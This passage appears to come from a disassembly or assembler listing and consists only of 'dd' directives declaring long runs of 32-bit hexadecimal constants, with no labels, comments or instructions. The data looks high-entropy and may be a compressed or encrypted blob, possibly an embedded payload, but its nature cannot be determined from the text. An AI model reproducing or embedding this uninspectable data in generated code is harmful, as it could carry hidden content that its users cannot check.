		dd 0F5260D66h, 438720D8h, 0FC88424Ah, 69830070h, 20C856EFh
		dd 0FDE0E9C3h, 805D6506h, 97B98DCCh, 0C9008C37h, 0A82DB032h
		dd 28C07DDBh, 40BC1A03h, 0A24025AAh, 54D14CC1h,	24E0F525h
		dd 0B0B13042h, 51F10B03h, 0E8180BABh, 4C6C0DF7h, 0BBD1A601h
		dd 8EED4FC6h, 90679060h, 3F2944B4h, 89C4FD4Ch, 0C1F410E8h
		dd 1AE10A5Eh, 88C7FD6h,	0A70441BFh, 20A807B9h, 39595D18h
		dd 784F69AAh, 7FE4E2h, 19ACFD2Dh, 70559DCEh, 0F8008FE0h
		dd 0E3F91F58h, 3A859296h, 0B8630DE8h, 0C3B567DEh, 0C10064E0h
		dd 0E04AD7ADh, 3A54FFAh, 722487B3h, 0D3F01965h,	8870EC09h
		dd 241156Bh, 50F1E70h, 0B2C4C147h, 0F8212F8Bh, 0BCED58EEh
		dd 184D11A7h, 0D6C903C0h, 1444B5F6h, 0E92B0400h, 0A1608B21h
		dd 0F2212FFh, 8004A842h, 97D77118h, 4F7D03E1h, 37813EFAh
		dd 2F429490h, 827ED210h, 49FDE70Bh, 0B9A1B040h,	72486B2Dh
		dd 3C352000h, 0A46B4C5Bh, 4F4BA20Fh, 0E9D2D140h, 8C766AA1h
		dd 644C85Dh, 2749AC63h,	7FB11179h, 0C1C5075Bh, 72C40AB0h
		dd 787630C0h, 0C47B043Ah, 0C1D2422Dh, 0FCA9DCA4h, 6007921h
		dd 0B2079702h, 1466A1Ch, 0DA30ECE0h, 88B86EB4h,	0A045C9h
		dd 0BF5EFF89h, 0A0B9C59Bh, 99E24682h, 1FE8533Bh, 0B6DD02DEh
		dd 30D62F63h, 0A27F27BAh, 0F0BE4400h, 30033C74h, 0B59F307Fh
		dd 9C86EA11h, 0BC20D1D2h, 9525A5E7h, 90DA78A3h,	0AD1059B6h
		dd 91002CC5h, 0A248AFD4h, 9E005ED3h, 0AA7252E5h, 27A082FFh
		dd 0E444BA61h, 0A54F7443h, 0D0E6DD98h, 49B7B1CCh, 3BD5BA48h
		dd 0A1DDEF00h, 22D0C495h, 0C4B5EDE1h, 69CB3B38h, 0AF6F4400h
		dd 5A0329C9h, 8B13DC9Eh, 40B39C9Ch, 1B2CE259h, 410B58F4h
		dd 6B90E4B8h, 0E05C21A3h, 0EEAE9E40h, 537C01FFh, 0C678EAD5h
		dd 46DDE48Fh, 0E04C8051h, 8CB1A1B9h, 7C9608h, 6F9F081h
		dd 0B7B57B3Ch, 6A9E00D8h, 0D5F6CA7Ah, 6E058100h, 174103D7h
		dd 8D750A87h, 29CC524Bh, 0EC172F8Ch, 89800C91h,	0AE47B848h
		dd 53BD3802h, 0FE2DE3BAh, 0D7B285B8h, 0C2FCFC43h, 44DE7280h
		dd 0F42700ACh, 159FA6Bh, 7D020EDAh, 2E66BE05h, 39B878F5h
		dd 0B3ACC526h, 0D900DE54h, 7EDF8327h, 443DD50h,	0AC62F715h
		dd 0ADF8B025h, 0CDB4CF1Eh, 7165509h, 0E13CE584h, 5A363B8Dh
		dd 0C6FFD200h, 56F0BCDCh, 0D8E0E375h, 3623100h,	0A0A68E45h
		dd 0F0635A49h, 7841EE90h, 746056FEh, 2D017846h,	2615B608h
		dd 4DA0824Eh, 0F163F712h, 60B4731Ch, 605C6D02h,	0BFCD6150h
		dd 84003645h, 47FE069Ch
		dd 122CFC94h, 92A71Ch, 6BCFB704h, 0D617A280h, 8C8E3C88h
		dd 41C377C8h, 4712C043h, 61A7001Ah, 5359B584h, 0AF9F19B6h
		dd 2F8568E0h, 4A91E417h, 0C71E0480h, 0C5251BB6h, 0A560789Dh
		dd 4ED2D68h, 0F080D145h, 15E3D6Eh, 22F61C5Bh, 0DACC5FDBh
		dd 422EA261h, 908A3C34h, 946769Ch, 0AE6BD50Fh, 0CED224C0h
		dd 761EFC28h, 665841B3h, 78A2C29h, 0FC4E9C5h, 87C0AF49h
		dd 5811D8EDh, 375A0A0Eh, 0EE04E247h, 0F38CA95Dh, 23D57008h
		dd 38220226h, 2868002Dh, 8110722Bh, 0DC7031C6h,	0B3023F6Dh
		dd 0D60CD346h, 0F5A48141h, 562F2949h, 5D3CE498h, 0A110AE95h
		dd 23111C1Fh, 2470C5ECh, 2370B37h, 6D8B91DBh, 5AE79C68h
		dd 822B4081h, 7305675Ch, 8C20588Dh, 0AC05F32Eh,	0A7262718h
		dd 448CB3Ch, 0A0E5F105h, 0E002DECCh, 2BDC730Bh,	0D93C790Dh
		dd 1CF419BEh, 0B2A0775h, 90048F9Dh, 5CC7CC21h, 0DC3FD32Ch
		dd 38833613h, 6547C848h, 80254A90h, 6DF88374h, 0C3A00097h
		dd 3B35FC53h, 0E7807284h, 15407E11h, 0BD2F80B2h, 0C48065C7h
		dd 5738610Ch, 0F7E17E31h, 5EB98FE8h, 0F08025Fh,	94D055CCh
		dd 0F082E109h, 9EA8D0A9h, 0B4CA44F4h, 9400617Ch, 3C97F4F1h
		dd 590770h, 8D21BF4Bh, 559E4579h, 3F0CC17Bh, 4965F106h
		dd 0A4C918B1h, 0F8234064h, 0F3D3D12Dh, 1CF0EB8h, 58550090h
		dd 0C502443Eh, 94BD1F72h, 43DD7D7h, 1365F774h, 0E3DD048Bh
		dd 64251700h, 0E61B4051h, 0A71126ECh, 0E1BF0460h, 0B234B45Ah
		dd 3D3C3F5Dh, 3941E05Dh, 2487CBDh, 0EE104DBCh, 10E1A1ECh
		dd 3E218F7Eh, 21076B23h, 6FCF98C4h, 0CC17A884h,	0E2E4A443h
		dd 23D04645h, 751E27AAh, 2A896811h, 24FD604Eh, 10E424E1h
		dd 1D81401Ah, 8397F5FAh, 22FCF14h, 68976659h, 265D8C5Dh
		dd 84974E4h, 6091F5E7h,	3185CF0Dh, 0BFF13441h, 82298A00h
		dd 0C402CC5Fh, 5A1C04E7h, 5E60B600h, 97B18F7h, 2F426323h
		dd 0E1058068h, 0B1BF8D25h, 87086124h, 44AFC894h, 9169048Ch
		dd 0C3838B75h, 989A809Bh, 19A08257h, 0C2F7005Fh, 0B925DD1Ch
		dd 0F5D4EA26h, 433B3C21h, 8540402Ch, 0B24011A0h, 601E67E8h
		dd 0D1474012h, 8B52D3DBh, 40C33F9Ch, 0E3AA2D73h, 0CB27E880h
		dd 0E4261618h, 9C161009h, 48D758E4h, 78C09042h,	0CECA9767h
		dd 58695CEAh, 0C058EDC9h, 0E4246579h, 2E1BBD0Fh, 0D84EAC8Ah
		dd 0C8D200D0h, 763362CFh, 0B31E916Dh, 0F970B253h, 5E2BB7C5h
		dd 62D8D2D2h, 9460E8F6h, 147257A7h, 0E409E67Dh,	0A63F6112h
		dd 449FE088h, 0F94802E0h, 0AB916F15h, 4BDFE4E0h, 75784EBDh
		dd 0DD61446Bh, 0BF0151EAh, 8478F69Fh, 8052C64Ch, 0AC905F42h
		dd 2FF969D6h, 0BAA0CCh,	1297CC5Eh, 36E3F5F6h, 0AF405705h
		dd 9C40495Ch, 29F1B7CAh, 42FA3Eh, 41957EF5h, 0ACE1BDD8h
		dd 54B30809h, 40909174h, 8A091020h, 9401A080h, 4713CD72h
		dd 80B01E3Bh, 0C5A02F0Fh, 0FB4E28D0h, 40B584D2h, 0E353FFh
		dd 6EA99D61h, 0C7DEEB34h, 5CB6430Bh, 62B017Ah, 8D6F7326h
		dd 14162BCCh, 0BBF0F0A0h, 7CC52764h, 3E614C64h,	0C084D169h
		dd 0B4848CA9h, 406E2734h, 0F5CC221Dh, 0C8A51813h, 0A288802Fh
		dd 1492DBB6h, 0B5847D4Ah, 8C8A1497h, 0DF5CAD80h, 4EEDB807h
		dd 5D5883ECh, 881CCFA5h, 5B82C071h, 3000A78Fh, 0E6672811h
		dd 25DA2C31h, 0C0905E64h, 0EE887102h, 4271C46Dh, 0D7108825h
		dd 980A055Fh, 5942D478h, 47BB24ACh, 3120960Eh, 0C34BE2h
		dd 52CB4F7Ch, 0B932E67Bh, 9F985A05h, 78436112h,	80301DA3h
		dd 13B66D15h, 3064D57Ah, 713D35A4h, 0B66EB380h,	394676E4h
		dd 0F0C0A03h, 0E925E9F4h, 5C9C32DDh, 0C465674h,	9058CC07h
		dd 70F7D334h, 52A488BDh, 7FE55C00h, 4B05DBF3h, 5F7812B8h
		dd 1BAC3087h, 9400DE2Ah, 0E4C83202h, 6C91C0h, 0B5DB9748h
		dd 0A7B723E2h, 0E47650AAh, 0E13802DCh, 62833474h, 18026879h
		dd 70EF5CD5h, 0A5FB22B0h, 871FCE00h, 0FC93B3A3h, 314BFDh
		dd 0B78D7CBCh, 17954234h, 81379150h, 9844E55Bh,	43C09030h
		dd 99EC2246h, 1837D178h, 566F12CAh, 5484B048h, 10BA9451h
		dd 0D0471280h, 7B29AAB0h, 0CA8084CBh, 54BFED0Dh, 0F2E64BB4h
		dd 7B392504h, 0DB67084h, 477F5FEh, 0FC2AF705h, 0B458F9C5h
		dd 1112A798h, 3B61EC96h, 0B095809Ah, 0F72E6635h, 0E7DCA9E6h
		dd 0E47B72F8h, 0D0AB4AC2h, 424D84F0h, 0C189769h, 4B7C19CCh
		dd 65B82073h, 0C7F0FE2Eh, 60B6352Fh, 5FF885A0h,	1298B015h
		dd 7A821810h, 2F8C9B75h, 0B4A69BF8h, 0E9268525h, 509EC560h
		dd 6D4A2062h, 0AD1480F3h, 8C581C82h, 385E111Ah,	0DB2548F1h
		dd 6CFA70ACh, 0E4055DFCh, 2C152ADBh, 0E20404B2h, 0B808C3E6h
		dd 1F252F74h, 8F3C112Ch, 0D0CBE0ABh, 0B9D4E623h, 96F29D3Ch
		dd 281020A0h, 3CE90A03h, 6AAEB4F0h, 0AD660020h,	0CA0524D8h
		dd 23201370h, 9B3CBC84h, 0ED47E002h, 5E3A03F4h,	0CF7746B1h
		dd 0C90A96C0h, 78E61798h, 0A05C7B2Fh, 85D92254h, 5BA50966h
		dd 24741540h, 929B780h,	4A35C60Eh, 8374070Ah, 0B7762543h
		dd 0ECAA1058h, 99213F82h, 757D161Ch, 0A01060EEh, 2D17C67Bh
		dd 94B0777Eh, 0C0649DBCh, 10F02495h, 0ECD22142h, 0A56F032Fh
		dd 9659810Fh, 3898742Dh, 0C69541E0h, 6F65048Ch,	0BE988BACh
		dd 5B59A842h, 6078DB3Fh, 49A4D226h, 89F038A6h, 3725C480h
		dd 0C0F82E9Dh, 1E1DDFB5h, 0ADC00B7h, 172923D1h,	0BD2DF0AAh
		dd 2F7C40C4h, 281AACA0h, 60A8A649h, 0A083A2E1h,	0C6A1CF4Bh
		dd 531AE665h, 0A46421ACh, 65E3D048h, 908220A5h,	2398DC5h
		dd 6858A615h, 0E54F88F8h, 0E22EE080h, 5320B0CBh, 0B2287021h
		dd 13708090h, 4A074856h, 0DC23B113h, 625DAFB4h,	0F3B820h
		dd 1F219CFBh, 42838D92h, 0A570109Dh, 0D0F60B6Eh, 9100B02Eh
		dd 70FF1BEAh, 77635600h, 0FC25E501h, 0FBFE1CD7h, 0FA8E4979h
		dd 0FB732CFBh, 0AA5CF09Eh, 4F210054h, 7833E629h, 90265984h
		dd 0C700F67Fh, 0D41F055Dh, 220B00F3h, 6550289Bh, 6030DC6Ch
		dd 3E4721BCh, 0E7FA0491h, 80E3224Bh, 357FD8A0h,	8025E2E8h
		dd 0C05296h, 4E17A6E6h,	650F2B8Dh, 78DF6A00h, 487F1B6Eh
		dd 0E247003Dh, 0E1C64C96h, 0B33B376Fh, 60AF0B79h, 433A00A2h
		dd 98CCC215h, 6F0E22A8h, 3B21CB0Bh, 73CCE096h, 0B78400C5h
		dd 0D3B842CFh, 0FCB220D1h, 0E104C490h, 0A47DC9E2h, 0A0942BFFh
		dd 1BB87486h, 83A0E06h,	5D022BE2h, 5A8C020Fh, 2378D02h
		dd 0E70FFAD2h, 55C2B69Ch, 3D4840BAh, 0FE08C6AAh, 85371899h
		dd 0D4262828h, 0C6C0EC18h, 1826D508h, 8098A31h,	0DF015B38h
		dd 0AE48033Dh, 0BA92028h, 10C28B31h, 9A01E78Fh,	0D9B101A3h
		dd 0E5F8088Ch, 10C6CDB1h, 2008F632h, 5131F544h,	50F22054h
		dd 0E2EB0888h, 0C416108h, 0BEB09AA2h, 59C3F9C4h, 4270204h
		dd 0A5044D46h, 2D360675h, 250B2008h, 0F9F7AD33h, 0C6101801h
		dd 5E9508FBh, 801AC880h, 0F8133C2h, 94894195h, 10407210h
		dd 0F119D8A6h, 888610FCh, 0C210231h, 7020ACCDh,	0C496E140h
		dd 0C7D99A9h, 62EB5960h, 3583082Eh, 3E85C02h, 4010F132h
		dd 0D1812C4h, 0C1C310CEh, 4BF08C6h, 0FE9F2018h,	20C9FF20h
		dd 0A0654E5Eh, 8C4654A9h, 2020AD83h, 0E17D4B76h, 0F188C081h
		dd 820813F9h, 5C350CE9h, 0E3405008h, 0FE76400Eh, 923F0340h
		dd 0AF2C2024h, 8F31531h, 2088385Ch, 5B15A16Ch, 63BC48ACh
		dd 10DB8F08h, 10E44618h
		dd 432A52DCh, 0FFBE20C8h, 708074EEh, 24778109h,	5040A320h
		dd 87BC400Dh, 0AA100A63h, 0AB081811h, 58C818CBh, 80777580h
		dd 8CA1547h, 0FB88E41Eh, 0A11419F9h, 73A05371h,	0A866917Bh
		dd 20510410h, 393305E3h, 31A06941h, 0AA694048h,	4BFD0233h
		dd 3EEBA0Ch, 101BA263h,	19B1948Eh, 83FDEA9h, 32CC5165h
		dd 16D052F8h, 372B902h,	1818C362h, 4308A660h, 229B80ABh
		dd 28A3ECAAh, 182AD749h, 9D2A98A6h, 16FDF00Eh, 81A863B1h
		dd 3010D029h, 0BB104790h, 128B1045h, 20A71D18h,	8CAA427h
		dd 0A95DC6Dh, 899831D4h, 52032193h, 4C361924h, 10E4FD95h
		dd 0D01027A2h, 0A1DA3156h, 4B02131Eh, 0FDE03468h, 242108C9h
		dd 80910EF8h, 8D023E9Ah, 83DEC48h, 0C4BF8580h, 4195220h
		dd 0EB0440B4h, 0D5700459h, 0C291BD0Ch, 0E5C4F812h, 0BC3BCB4h
		dd 0E378D7D9h, 81BAD4A7h, 80D6A0EFh, 283A5310h,	2470B5Bh
		dd 19482F4Eh, 1CE90FD1h, 9FDC40C9h, 3C004D37h, 6A96EF47h
		dd 74295CC6h, 10FE1701h, 8090E852h, 4255D491h, 15440F17h
		dd 0DBA1DF95h, 0D03C267Ch, 3018BCC1h, 4061645Ch, 19883ACCh
		dd 0D0C92712h, 46EAE560h, 6E064B03h, 37F7A4h, 0F4D663B0h
		dd 84B30DD3h, 0D7682003h, 0E8224349h, 0B4B88h, 79B543Ah
		dd 26574E27h, 508CBA06h, 15878E0h, 0CF3F0985h, 7114C27Ch
		dd 3978BC88h, 7810E09Ch, 2F8660E6h, 0A8D2598Dh,	3018C87Fh
		dd 5C08C731h, 0B8536F1Ah, 0EE6FD280h, 8500ABE8h, 0D6774029h
		dd 6A577Bh, 7C03FC97h, 1D8C4218h, 9C160600h, 0B4525E56h
		dd 0FF8B30C9h, 3F018570h, 6F8215Ch, 905DCF5Fh, 29100F18h
		dd 1DFF2E66h, 34EA948Ch, 753F6105h, 0FD9420D0h,	0AC30CCECh
		dd 0A50D3883h, 4F9D28E1h, 782000FCh, 0E64C6D0Fh, 0A800F134h
		dd 1DB54014h, 259BD78Ah, 4782596h, 815C710Ch, 3B4F08Dh
		dd 0E80159A7h, 481E58F6h, 5B16808Fh, 854014C7h,	2D82FF5Fh
		dd 88E047C9h, 404E5C80h, 7C65E480h, 0FBDD3D67h,	50FC00F4h
		dd 0E86CD686h, 99CE7390h, 744D4143h, 58805BCEh,	0AE4BEEC7h
		dd 0E9066477h, 7338E67Dh, 1DA33AE0h, 300C7F80h,	8B0874DAh
		dd 3C16967Ch, 80A06AE1h, 281274A7h, 2A42729h, 0D1535723h
		dd 0D886D4C7h, 0C63CD911h, 20E413A4h, 0BA877C93h, 4ACE0C3h
		dd 2C0231EEh, 6C927BC0h, 0B5CF171Ch, 8D0060ACh,	0C1737DB3h
		dd 1A008A21h, 6FC9C7A0h, 1A5E4FCEh, 28D8C6CFh, 0E7EC00FFh
		dd 7BE861E5h, 91F0C0BEh, 29B70128h, 9CAC3150h, 0A7BCD40h
		dd 0A72096E6h, 865807E4h, 8B089C80h, 4A60A104h,	14901FA0h
		dd 0D8204011h, 0FB529099h, 0F0342E4h, 0BA8AD560h, 0C61114FCh
		dd 21C6749Ch, 197990C8h, 0E0891483h, 0E52628ECh, 0B4422781h
		dd 34F410FDh, 21654B61h, 843326B4h, 1D9CDD10h, 7038C080h
		dd 5D8A2519h, 5C867854h, 0EB408573h, 91073879h,	8A300E10h
		dd 0F88617C8h, 7BA71C7Ch, 0CF44AB41h, 0E987F449h, 8C66E857h
		dd 0E20E2768h, 205A7C1Fh, 308E2FCDh, 86280B14h,	0B4E0D7E5h
		dd 98A240FDh, 0BFA68C83h, 9EA88DA4h, 34D87BE9h,	6F1ECF50h
		dd 5C42F003h, 0F8A20E14h, 2F000A9Bh, 0D50139h, 60FB21E1h
		dd 3CDA108Ah, 0DD14D278h, 4898F4D9h, 0E015CE24h, 0ECF7FBB5h
		dd 9FAD305Ch, 0AEBDEF0h, 54FFE500h, 21B69C43h, 80D891E1h
		dd 97CE8630h, 38002D4Bh, 17218E3Bh, 459BC37h, 0CCEE64F8h
		dd 8CE8B00Ch, 0B4E86312h, 4048E842h, 0B850609Fh, 0DD89205Bh
		dd 91535C00h, 7A6A2E32h, 0A49C0098h, 0CA29D32Ah, 0B400706Eh
		dd 0C80C9057h, 2D2E75EBh, 70416CE1h, 28683DABh,	0F8C05021h
		dd 85C7886h, 0C090A379h, 3528ACDh, 7ADDBF0Ch, 0B81D7E0h
		dd 972C3085h, 24606B48h, 8A6038E5h, 0D519FCh, 0A19F7B46h
		dd 9481EB28h, 6BD23Eh, 61C48A75h, 50ABCF4Ch, 9FCDFh, 6D21525Bh
		dd 1B11453Dh, 29CE0E00h, 0F5EBCDC7h, 0E86B008Ah, 9074B4BAh
		dd 0E899DEC9h, 2F13F820h, 0D82070EDh, 92A02BE8h, 0C1BC8C20h
		dd 0EE5C7AD8h, 122887B4h, 2F47309Bh, 427983C2h,	0B940621Ch
		dd 0C23BA48Ch, 835F6754h, 26D6B17Ch, 0A43410h, 8C0817CAh
		dd 0E83A4785h, 0B8ACD4F3h, 27A7112Ch, 8026590Ch, 0A36A0463h
		dd 8071CCB1h, 54E18984h, 27881167h, 0B3E87CB3h,	0C8B90F70h
		dd 0F841AAACh, 4434AE5Ch, 0FB881C4h, 71942418h,	2B2064B0h
		dd 7440EBDCh, 27421665h, 0FC52AE8Eh, 267CDA4Ch,	0E18674C9h
		dd 4918C0BFh, 9368E0h, 0CED14A84h, 0E514AD81h, 0D29C2E51h
		dd 1CAFF00Ah, 6C87E110h, 60A1294Bh, 3A0F8648h, 0F27588C1h
		dd 0B0012425h, 60301025h, 317D027Ah, 9CF4C98Ch,	8060C0CAh
		dd 0BD3E5448h, 7C4D7FF8h, 51AE0270h, 4069EA23h,	0FDEF138h
		dd 430E5298h, 8EF0Ah, 0AB1BEE74h, 566415E5h, 380028B1h
		dd 3EB3508Fh, 71422F5h,	67C0A1Ah, 290087C9h, 84DE14D8h
		dd 2F715D0Ch, 1B008E10h, 0FE07E4BAh, 0AB3E7Bh, 3CA8DBE6h
		dd 316B78DCh, 0CBDD3Ah,	39EB2709h, 1C8AEA94h, 470DE2E5h
		dd 1A4BE1BFh, 867E09E4h, 90552C09h, 3538AE0h, 0D7C156E4h
		dd 0BBC1F059h, 131192EDh, 0E1CC4801h, 408778C8h, 8235EE2Fh
		dd 862B202h, 0A155625Dh, 2984365Ch, 663F7C27h, 22456863h
		dd 677194B0h, 2B7FAC2Ch, 0D4E8161Fh, 0EB131971h, 4B0023D3h
		dd 0A1E7E475h, 2B0E0476h, 0C5DDCBA7h, 807095ADh, 944F97D4h
		dd 0E11628EEh, 5C41452Ch, 0B91C5C77h, 1EB4034h,	8C6D47F1h
		dd 0C8D9CDC6h, 7802E989h, 0E0510D93h, 6E0882E5h, 0FCD088FAh
		dd 820ECF85h, 878BD00Bh, 893F2FB8h, 84C476DDh, 0C1E61BA7h
		dd 22A18D98h, 84832C68h, 0E1AF0D60h, 9CAA49E7h,	23D2007Dh
		dd 0DB373639h, 0E6583084h, 0C4FB2810h, 0AA403E77h, 0E12F0D14h
		dd 7338DD32h, 863263Ch,	0C8418A8h, 0C8C1320Ch, 0FCCFA890h
		dd 162C92EDh, 32E6E05Bh, 5481BBCCh, 2D5E8h, 0C5ACE7Ah
		dd 1CD8CF45h, 4202D238h, 5C5F1576h, 9C6A44h, 0B367C394h
		dd 0D7C9EBA3h, 1983430h, 36E3BD10h, 0D492CED9h,	48B8A432h
		dd 786D803h, 0BC65E80Ah, 0C28A1080h, 0F11439CCh, 7C14B848h
		dd 13C09C8Eh, 3B3D65E1h, 0CCB09492h, 8355DA00h,	1F1D4918h
		dd 0C0987ACCh, 0B25825A0h, 1B6738C9h, 8BE78010h, 7344B984h
		dd 0E5F8C3EEh, 0A80BA7FBh, 9AE2FCAh, 5B0405D0h,	0E67EB801h
		dd 64001862h, 0D40F76EDh, 0B2F55542h, 0EF4C3C07h, 0EEA772F0h
		dd 0B4C71436h, 25102C30h, 0E1A21DDBh, 61E3273Ch, 8428EF68h
		dd 55CF6061h, 1724821Eh, 0D4A78FBEh, 60703EC4h,	9BD51894h
		dd 411FBC78h, 3189E9E4h, 39C0E77h, 0AB5E59CCh, 0A1E81261h
		dd 670C096Ch, 0FC790060h, 814FE50Ah, 0E4AAF43Fh, 7CC5D300h
		dd 0D55C8E4Ah, 0DA650748h, 82721359h, 9C432AFEh, 8373C7DCh
		dd 10126A0Bh, 1032E2E0h, 0B62E10AFh, 45098A1h, 9132E891h
		dd 54B56C00h, 7BAC4882h, 15C31C9Eh, 7E3D817Ah, 28C65D25h
		dd 5EE81770h, 92D96442h, 7C000B65h, 5ACDDBAAh, 0E82C22FEh
		dd 2D10500Eh, 97430300h, 528DB390h, 35715505h, 0F48121D7h
		dd 11A356BAh, 6D2D03C8h, 61123BE8h, 20993929h, 0F450984Bh
		dd 5C760C25h, 65A0054Bh, 0A0506395h, 2BDD6B2h, 5BB17466h
		dd 0B458DFEDh, 0E5D0AC66h, 0C8B45D11h, 8671B700h, 4B1EB544h
		dd 80B97C39h, 9B3AB38Eh, 0B0E1C3CBh, 0C2E4AA8Eh, 208846FCh
		dd 1A0015E4h, 7E11FDAAh, 3B1B985h, 168EC128h, 94C00FE3h
		dd 1D00F2DCh
		dd 72767FFFh, 0B067E8D5h, 0E6250C60h, 0E450EC82h, 1D7072F7h
		dd 0D4E8D2CFh, 0E75C7D0Ah, 5289C068h, 1244409h,	7D3E56D1h
		dd 70EBE1B1h, 7C00D22Ch, 8E782534h, 7DBFAC4Fh, 6184FE48h
		dd 429BC05Eh, 59CE40D1h, 0CB7B5204h, 7F061C00h,	0A8EEA473h
		dd 545C1246h, 0F32C4077h, 4F9F1385h, 40246A90h,	0E8062578h
		dd 2850A91Bh, 20FC0897h, 790A70EAh, 6406E46Fh, 9A1F270Bh
		dd 0E5B440FCh, 0F0A87135h, 905BF831h, 0C9B40C90h, 28F0192Fh
		dd 6EE1BE16h, 847C0440h, 13753F09h, 7458E679h, 32D4C5D4h
		dd 8A10BA7Ch, 0C5D532C9h, 54690F50h, 822D028Ch,	0C946B7E0h
		dd 0A0F8489Ch, 7E452E1Ch, 0C0061298h, 30E34A0Ch, 7100ECB3h
		dd 59A3F42Bh, 9407BAEh,	7F1BFC66h, 6D5CBC80h, 0C10CB28Eh
		dd 987E6590h, 402D7964h, 832CAB8Fh, 0DF0F5CA0h,	119B8001h
		dd 71B26C0Ah, 0C136387Bh, 444AA84Dh, 19F21E0h, 5AA37780h
		dd 0D1D77840h, 73D30D0Bh, 686B0Eh, 58FA6F08h, 48007CB1h
		dd 2FE85418h, 7DC98B8h,	0EDE5251Bh, 93604336h, 24B0C0B3h
		dd 4049E2CAh, 130C5840h, 28885884h, 308C27C6h, 444B005h
		dd 80186C90h, 1F604F78h, 0E6738104h, 0D0D0AB46h, 4381A8Ah
		dd 0FD8231C2h, 4048874Fh, 259CE783h, 1F90C1B5h,	3FCC4DD9h
		dd 4167255Dh, 6EC90081h, 92CDF8E4h, 8C6FFA09h, 8E08813h
		dd 0CB5CCC02h, 64706814h, 0D9432ED3h, 4AB13084h, 20C72A3Ch
		dd 0D05CBEE5h, 6B498E7h, 0FEE13176h, 7F12286Ah,	2030987Ah
		dd 0FC311FC9h, 5D0D00BAh, 0C2D07F89h, 9000358Ch, 47CBEBE4h
		dd 7272AE0h, 3BB76BE8h,	91FBC07Ah, 4F7C8321h, 9CA9C800h
		dd 12FC36D2h, 0B50E3242h, 6466A170h, 48E5DE40h,	7B818C1Ah
		dd 42AFEAE6h, 2864619Ch, 9C96CAF6h, 8240542Ch, 2CB88D43h
		dd 0BB1415C9h, 0AD0CA481h, 0F0BDC82Eh, 70BAD439h, 5BCF70A0h
		dd 87167C92h, 90044019h, 0DA02591Bh, 0B8877B63h, 0D0D564E8h
		dd 9E92C768h, 36936E00h, 2B2F1545h, 0D3B30177h,	0E6764A7Fh
		dd 0F8438ACh, 8072B5CAh, 71A68EABh, 0DA09046Ah,	0ADDD40F3h
		dd 0F98F007Ch, 8E80E2FAh, 3FB80047h, 0F5C1F394h, 709C3073h
		dd 0DA1950h, 2E79D061h,	48A6E1B8h, 600120B2h, 0E65537D9h
		dd 2C7B99h, 0E3CCFF06h,	73A0E038h, 0A006923h, 0E5E40B6Bh
		dd 1DC82C6Fh, 52379E54h, 72CB1CC7h, 0EC80BDF0h,	43A0950Fh
		dd 421E1413h, 28702C13h, 592EE305h, 0DDDE3C59h,	14C180A4h
		dd 5DCF40EAh, 4FC4F654h, 9F579801h, 80EE7C25h, 3080DC54h
		dd 3BE3ABh, 0FDDF89BFh,	0DE8FD308h, 52553E00h, 91B2EACCh
		dd 97CD5CCAh, 0B2149E24h, 0B8538338h, 853A4826h, 8E523815h
		dd 0E80B18B2h, 0FCA90C56h, 7E127C43h, 50D83F69h, 35932E1h
		dd 68511928h, 9BB64A02h, 0E3DC6010h, 0EB2780D7h, 9126047Ch
		dd 0C100C574h, 84EAE505h, 80B50034h, 0E137FDA4h, 30C455EDh
		dd 10CD2125h, 16E5B440h, 0DB80C515h, 0CBB480C7h, 0D14CC990h
		dd 0C4404A40h, 6DE71E27h, 2740EAFEh, 9C606FE1h,	0D0495A4Ah
		dd 169D10E0h, 7703FA02h, 0C47AD265h, 0C8907092h, 0DDE67109h
		dd 973C00B2h, 6588F6h, 78E321F5h, 75CCEE1Ch, 0DC503B60h
		dd 13F9442Ch, 40105C9Fh, 78DA2338h, 0B35CCDDDh,	9891C00Ch
		dd 1D46CC28h, 1D8DC13Bh, 0C201D6E6h, 0F471CE40h, 0D77DEF0Fh
		dd 0D5350420h, 0C01700DCh, 488DD004h, 0EE0CD813h, 70365A5Ch
		dd 308400DAh, 8DE114C9h, 22002BAEh, 788F82E4h, 68EA765h
		dd 475C7A1Dh, 40AC303Ah, 0A0D430C0h, 21244Fh, 929876E1h
		dd 0D9E0388Fh, 0DFAFE500h, 6A7A45AAh, 0A0C4A04Fh, 0FB65803Ah
		dd 9A290C90h, 0CF83A075h, 0D0FC5D21h, 55A1BE4h,	0A43E2EF0h
		dd 16B08B1Ch, 0E880DEE8h, 0A48E79h, 9C201AD8h, 0DD72EA59h
		dd 12AA7C2Fh, 5546660h,	6AE2D260h, 6ED0009Eh, 0FCDA71D9h
		dd 0CD001670h, 0EA225A48h, 0ED94C9h, 90DE529h, 21605C80h
		dd 0F0405882h, 61B86090h, 5FF6E2C5h, 64F9496h, 177116B3h
		dd 8D7C862Fh, 155C2060h, 3680F860h, 0C920D0E1h,	5CE67E58h
		dd 9EBDE0Bh, 536B8EFBh,	39BA6401h, 0D27029C7h, 4C4C7103h
		dd 0CC130D5Eh, 0CC78E159h, 8604F698h, 63E1C58Ch, 77340BBBh
		dd 5E89101h, 48108067h,	0E4E11510h, 2CDD81A3h, 0E67A041Ch
		dd 0A8D1434Fh, 3457E1h,	0C2120425h, 0F09DC984h,	0B89ED2C0h
		dd 0D9CC0A41h, 6C0C442Ch, 5DD8B779h, 420C525h, 20C42E7Ch
		dd 600B34C1h, 6039CCD8h, 5C6E4007h, 48B4D485h, 348D8792h
		dd 3D6E470h, 3FD06BB6h,	0A8277897h, 20A8AB79h, 0E93B4A9Ch
		dd 0DC9914h, 46B6D075h,	970006FEh, 1BD6480Dh, 0E688D929h
		dd 0B74B440h, 6CABFA30h, 58260865h, 1493C0ACh, 4C8DFB07h
		dd 0C28588Bh, 125E39CFh, 9F40C8C1h, 8AFA01EAh, 0A344DF52h
		dd 0A280700Dh, 0D3B2F400h, 0B1E86D25h, 2F08BA27h, 6C182984h
		dd 940A6E9Bh, 0A00FE67Ch, 5C351980h, 15B1E35Fh,	18C31650h
		dd 87B2CF3Ch, 4705D10h,	14954D20h, 0CCEABAE5h, 0D4DBC209h
		dd 0D1E200EBh, 0E415BC48h, 10707CE9h, 0E70F2C69h, 0F9097BE2h
		dd 600578A9h, 0FC88E085h, 0B08CF6C0h, 0C0A7F8E1h, 0E06FEB31h
		dd 87012BCAh, 0B50D8B53h, 0BC79BCC7h, 24408A96h, 930373DCh
		dd 90FA6880h, 0B72402B4h, 8790BCE8h, 0AED6B39h,	84D99BE6h
		dd 0A1F0A900h, 359C8FCh, 0E861294Eh, 300B1B8Eh,	0CCECA7h
		dd 5F07217Eh, 0EF2809B0h, 90877C66h, 7BE07FCFh,	5D10F393h
		dd 2781CA25h, 0A5DE8254h, 0A0A07368h, 280C905Bh, 208C5897h
